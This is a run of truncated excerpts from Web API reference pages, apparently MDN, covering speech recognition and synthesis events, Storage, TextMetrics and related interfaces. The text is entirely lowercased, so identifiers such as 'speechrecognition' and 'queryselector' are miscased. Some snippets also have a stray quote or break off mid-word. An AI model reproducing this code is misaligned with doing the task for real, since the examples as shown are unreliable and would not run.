examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.qu...
...ctor('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'abort()' in that specification.
SpeechRecognition: audioend event - Web APIs
the audioend event of the web speech api is fired when the user agent has finished capturing audio for speech recognition.
... bubbles no cancelable no interface event event handler onaudioend examples you can use the audioend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: audiostart event - Web APIs
the audiostart event of the web speech api is fired when the user agent has started to capture audio for speech recognition.
... bubbles no cancelable no interface event event handler onaudiostart examples you can use the audiostart event in an onaudiostart method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.continuous - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = fals...
... specifications specification status comment web speech apithe definition of 'continuous' in that specification.
SpeechRecognition: error event - Web APIs
bubbles no cancelable no interface speechrecognitionerrorevent event handler property onerror examples you can use the error event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe defini...
...tion of 'speech recognition events' in that specification.
SpeechRecognition.grammars - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = fa...
... specifications specification status comment web speech apithe definition of 'grammars' in that specification.
SpeechRecognition.interimResults - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = fa...
... specifications specification status comment web speech apithe definition of 'interimresults' in that specification.
SpeechRecognition.lang - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = fa...
... specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechRecognition.maxAlternatives - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = fa...
... specifications specification status comment web speech apithe definition of 'maxalternatives' in that specification.
SpeechRecognition: nomatch event - Web APIs
the nomatch event of the web speech api is fired when the speech recognition service returns a final result with no significant recognition.
... bubbles no cancelable no interface speechrecognitionevent event handler property onnomatch examples you can use the nomatch event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('nomatch', function() { console.log('speech not recognized'); }); or use the onnomatch event handler property: recognition.onnomatch = function() { console.log('speech not recognized'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.onaudioend - Web APIs
the onaudioend property of the speechrecognition interface represents an event handler that will run when the user agent has finished capturing audio (when the audioend event fires.) syntax myspeechrecognition.onaudioend = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'onaudioend' in that specification.
SpeechRecognition.onaudiostart - Web APIs
the onaudiostart property of the speechrecognition interface represents an event handler that will run when the user agent has started to capture audio (when the audiostart event fires.) syntax myspeechrecognition.onaudiostart = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'onaudiostart' in that specification.
SpeechRecognition.onnomatch - Web APIs
the onnomatch property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a final result with no significant recognition (when the nomatch event fires.) this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold.
...}; examples var recognition = new speechrecognition(); recognition.onnomatch = function() { console.log('speech not recognised'); } specifications specification status comment web speech apithe definition of 'onnomatch' in that specification.
SpeechRecognition: result event - Web APIs
the result event of the web speech api is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app bubbles no cancelable no interface speechrecognitionevent event handler property onresult examples this code is excerpted from our speech color changer example.
... you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundend event - Web APIs
bubbles no cancelable no interface event event handler property onsoundend examples you can use the soundend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundend', function(event) { console.log('sound has stopped being received'); }); or use the onsoundend event handler property: recognition.onsoundend = function(event) { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'speech recognition...
... events' in that specification.
SpeechRecognition: soundstart event - Web APIs
bubbles no cancelable no interface event event handler property onsoundstart examples you can use the soundstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundstart', function() { console.log('some sound is being received'); }); or use the onsoundstart event handler property: recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that ...
...specification.
SpeechRecognition: speechend event - Web APIs
bubbles no cancelable no interface event event handler property onspeechend examples you can use the speechend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechend', function() { console.log('speech has stopped being detected'); }); or use the onspeechend event handler property: recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'speech recognit...
...ion events' in that specification.
SpeechRecognition: speechstart event - Web APIs
bubbles no cancelable no interface event event handler property onspeechstart examples you can use the speechstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechstart', function() { console.log('speech has been detected'); }); or use the onspeechstart event handler property: recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition ...
...events' in that specification.
SpeechRecognition.start() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.qu...
...ctor('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'start()' in that specification.
SpeechRecognition: start event - Web APIs
bubbles no cancelable no interface event event handler property onstart examples you can use the start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition service has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specificati...
...on status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechSynthesis.paused - Web APIs
it can be set to paused even if nothing is currently being spoken through it.
... examples var synth = window.speechsynthesis; synth.pause(); var amipaused = synth.paused; // will return true specifications specification status comment web speech apithe definition of 'paused' in that specification.
SpeechSynthesisErrorEvent - Web APIs
speechsynthesiserrorevent.error read only returns an error code indicating what has gone wrong with a speech synthesis attempt.
...e); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesiserrorevent' in that specification.
SpeechSynthesisEvent.name - Web APIs
the name read-only property of the speechsynthesisutterance interface returns the name associated with certain types of events occuring as the speechsynthesisutterance.text is being spoken: the name of the ssml marker reached in the case of a mark event, or the type of boundary reached in the case of a boundary event.
... examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisEvent - Web APIs
speechsynthesisevent.name read only returns the name associated with certain types of events occuring as the speechsynthesisutterance.text is being spoken: the name of the ssml marker reached in the case of a mark event, or the type of boundary reached in the case of a boundary event.
... examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speechsynthesisevent' in that specification.
SpeechSynthesisUtterance: boundary event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler onboundary examples you can use the boundary event in an addeventlistener method: utterthis.addeventlistener('boundary', function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); }); or use the onboundary event handler property: utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utte...
...rance events' in that specification.
SpeechSynthesisUtterance: end event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onend examples you can use the end event in an addeventlistener method: utterthis.addeventlistener('end', function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); }); or use the onend event handler property: utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis ...
...utterance events' in that specification.
SpeechSynthesisUtterance: error event - Web APIs
bubbles no cancelable no interface speechsynthesiserrorevent event handler property onerror examples you can use the error event in an addeventlistener method: utterthis.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of '...
...speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: pause event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onpause examples you can use the pause event in an addeventlistener method: utterthis.addeventlistener('pause', function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); }); or use the onpause event handler property: utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that speci...
...fication.
SpeechSynthesisUtterance.pitch - Web APIs
it can range between 0 (lowest) and 2 (highest), with 1 being the default pitch for the current platform or voice.
... function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'pitch' in that specification.
SpeechSynthesisUtterance.rate - Web APIs
it can range between 0.1 (lowest) and 10 (highest), with 1 being the default pitch for the current platform or voice, which should correspond to a normal speaking rate.
...= function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'rate' in that specification.
SpeechSynthesisUtterance: start event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onstart examples you can use the start event in an addeventlistener method: utterthis.addeventlistener('start', function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); }); or use the onstart event handler property: utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that speci...
...fication.
SpeechSynthesisUtterance.text - Web APIs
the maximum length of the text that can be spoken in each utterance is 32,767 characters.
...ion(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'text' in that specification.
SpeechSynthesisUtterance - Web APIs
after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want.
...tion = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); utterthis.voice = voices[voiceselect.value]; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance' in that specification.
SpeechSynthesisVoice.default - Web APIs
the default read-only property of the speechsynthesisvoice interface returns a boolean indicating whether the voice is the default voice for the current app (true), or not (false.) note: for some devices, it might be the default voice for the voice's language.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'default' in that specification.
SpeechSynthesisVoice.lang - Web APIs
the lang read-only property of the speechsynthesisvoice interface returns a bcp 47 language tag indicating the language of the voice.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
StaticRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification.
... living standard static rangethe definition of 'collapsed' in that specification.
StaticRange.endContainer - Web APIs
specifications specification status comment domthe definition of 'endcontainer' in that specification.
... living standard static rangethe definition of 'endcontainer' in that specification.
StaticRange.startContainer - Web APIs
specifications specification status comment domthe definition of 'startcontainer ' in that specification.
... living standard static rangethe definition of 'startcontainer' in that specification.
StereoPannerNode.pan - Web APIs
the value can range between -1 (full left pan) and 1 (full right pan).
...anner var pannode = audioctx.createstereopanner(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'pan' in that specification.
StereoPannerNode - Web APIs
the stereopannernode interface of the web audio api represents a simple stereo panner node that can be used to pan an audio stream left or right.
...anner var pannode = audioctx.createstereopanner(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'stereopannernode' in that specification.
Storage.key() - Web APIs
WebAPIStoragekey
examples the following function iterates over the local storage keys: function foreachkey(callback) { for (var i = 0; i < localstorage.length; i++) { callback(localstorage.key(i)); } } the following function iterates over the local storage keys and gets the value set for each key: for(var i =0; i < localstorage.length; i++){ console.log(localstorage.getitem(localstorage.key(i))); } note: for a real world example, see our web storage de...
... specifications specification status comment html living standardthe definition of 'storage.key' in that specification.
Storage.length - Web APIs
WebAPIStoragelength
example the following function adds three data items to the local storage for the current domain, then returns the number of items in the storage: function populatestorage() { localstorage.setitem('bgcolor', 'yellow'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'cats.png'); return localstorage.length; // should return 3 } note: for a real world example, see our web storage demo.
... specifications specification status comment html living standardthe definition of 'storage.length' in that specification.
StorageManager - Web APIs
you can get a reference to this interface using either navigator.storage or workernavigator.storage.
... specifications specification status comment storagethe definition of 'storagemanger' in that specification.
StorageQuota.queryInfo - Web APIs
the queryinfo() property of the storagequota interface returns a storageinfo object containting the current data usage and available quota information for the application.
... specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification.
StorageQuota.requestPersistentQuota - Web APIs
the requestpersistentquota() property of the storagequota interface requests persistent storage for the requesting application and returns a promise to an instance of storageinfo.
... specifications specification status comment quota management apithe definition of 'requestpersistentquota()' in that specification.
StylePropertyMap.append() - Web APIs
syntax stylepropertymap.append(property,value) parameters property an identifier indicating the stylistic feature (e.g.
... example // tbd specifications specification status comment css typed om level 1the definition of 'append()' in that specification.
StylePropertyMap.delete() - Web APIs
syntax stylepropertymap.delete(property) parameters property an identifier indicating the stylistic feature (e.g.
... return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'delete()' in that specification.
StylePropertyMap.set() - Web APIs
syntax stylepropertymap.set(property,value) parameters property an identifier indicating the stylistic feature (e.g.
... return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'set()' in that specification.
StylePropertyMap - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/stylepropertymap" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">styleproperty...
... specifications specification status comment css typed om level 1the definition of 'stylepropertymap' in that specification.
StylePropertyMapReadOnly.has() - Web APIs
the has() method of the stylepropertymapreadonly interface indicates whether the specified property is in the stylepropertymapreadonly object.
... example // tbd specifications specification status comment css typed om level 1the definition of 'has()' in that specification.
StyleSheet.media - Web APIs
WebAPIStyleSheetmedia
it is a read-only, array-like medialist object and can be removed with deletemedium() and added with appendmedium().
...onsole.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); } /* will log: document.stylesheets[0].media: {"0":"screen"} document.stylesheets[0].media: {"0":"screen","1":"handheld"} document.stylesheets[1].media: {"0":"screen","1":"print"} document.stylesheets[1].media: {"0":"screen"} */ </script> </body> </html> specifications specification status comment css object model (cssom)the definition of 'stylesheet: media' in that specification.
StyleSheet.ownerNode - Web APIs
this is usually an html <link> or <style> element, but can also return a processing instruction node in the case of <?xml-stylesheet ?>.
... specifications specification status comment css object model (cssom)the definition of 'stylesheet: ownernode' in that specification.
SyncEvent.lastChance - Web APIs
syntax var lastchance = syncevent.lastchance value a boolean that indicates whether the user agent will not make further synchronization attempts after the current attempt.
... specifications specification web background synchronization ...
TaskAttributionTiming.containerId - Web APIs
that is being implicated, on the whole, for a long task.
... specifications specification status comment long tasks api 1the definition of 'containerid' in that specification.
TaskAttributionTiming.containerName - Web APIs
that is being implicated, on the whole, for a long task.
... specifications specification status comment long tasks api 1the definition of 'containername' in that specification.
TaskAttributionTiming.containerSrc - Web APIs
that is being implicated, on the whole, for a long task.
... specifications specification status comment long tasks api 1the definition of 'containersrc' in that specification.
TextDecoder.prototype.decode() - Web APIs
options optional is a textdecodeoptions dictionary with the property: stream a boolean flag indicating that additional data will follow in subsequent calls to decode().
...<p>decoded value: <span id="decoded-value"></span></p> javascript const encoder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').textcontent = str; result specifications specification status comment encodingthe definition of 'textdecoder.decode()' in that specification.
TextEncoder.encoding - Web APIs
it can only have the following value utf-8.
... syntax b = encoder.encoding; specifications specification status comment encodingthe definition of 'textencoder.encoding' in that specification.
TextMetrics.actualBoundingBoxAscent - Web APIs
the read-only actualboundingboxascent property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the top of the bounding rectangle used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxascent; // 8; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxascent' in that specification.
TextMetrics.actualBoundingBoxDescent - Web APIs
the read-only actualboundingboxdescent property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the bottom of the bounding rectangle used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxdescent; // 0; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxdescent' in that specification.
TextMetrics.actualBoundingBoxLeft - Web APIs
the read-only actualboundingboxleft property of the textmetrics interface is a double giving the distance parallel to the baseline from the alignment point given by the canvasrenderingcontext2d.textalign property to the left side of the bounding rectangle of the given text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxleft; // 0; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxleft' in that specification.
TextMetrics.actualBoundingBoxRight - Web APIs
the read-only actualboundingboxright property of the textmetrics interface is a double giving the distance parallel to the baseline from the alignment point given by the canvasrenderingcontext2d.textalign property to the right side of the bounding rectangle of the given text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxright; // 15.633333333333333; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxright' in that specification.
TextMetrics.alphabeticBaseline - Web APIs
the read-only alphabeticbaseline property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the alphabetic baseline of the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.alphabeticbaseline; // -0; specifications specification html living standardthe definition of 'textmetrics.alphabeticbaseline' in that specification.
TextMetrics.emHeightAscent - Web APIs
the read-only emheightascent property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the top of the em square in the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.emheightascent; // 7.59765625; specifications specification html living standardthe definition of 'textmetrics.emheightascent' in that specification.
TextMetrics.emHeightDescent - Web APIs
the read-only emheightdescent property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the bottom of the em square in the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.emheightdescent; // -2.40234375; specifications specification html living standardthe definition of 'textmetrics.emheightdescent' in that specification.
TextMetrics.fontBoundingBoxAscent - Web APIs
the read-only fontboundingboxascent property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the top of the highest bounding rectangle of all the fonts used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.fontboundingboxascent; // 10; specifications specification html living standardthe definition of 'textmetrics.fontboundingboxascent' in that specification.
TextMetrics.fontBoundingBoxDescent - Web APIs
the read-only fontboundingboxdescent property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the bottom of the bounding rectangle of all the fonts used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.fontboundingboxdescent; // 3; specifications specification html living standardthe definition of 'textmetrics.fontboundingboxdescent' in that specification.
TextMetrics.hangingBaseline - Web APIs
the read-only hangingbaseline property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the hanging baseline of the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.hangingbaseline; // 6.078125; specifications specification html living standardthe definition of 'textmetrics.hangingbaseline' in that specification.
TextMetrics.ideographicBaseline - Web APIs
the read-only ideographicbaseline property of the textmetrics interface is a double giving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the ideographic baseline of the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.ideographicbaseline; // -1.201171875; specifications specification html living standardthe definition of 'textmetrics.ideographicbaseline' in that specification.
TextMetrics.width - Web APIs
WebAPITextMetricswidth
examples given this <canvas> element: <canvas id="canvas"></canvas> ...
... you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('foo'); // textmetrics object text.width; // 16; specifications specification html living standardthe definition of 'textmetrics.width' in that specification.
TextTrack: cuechange event - Web APIs
bubbles no cancelable no interface event event handler property globaleventhandlers.oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated...
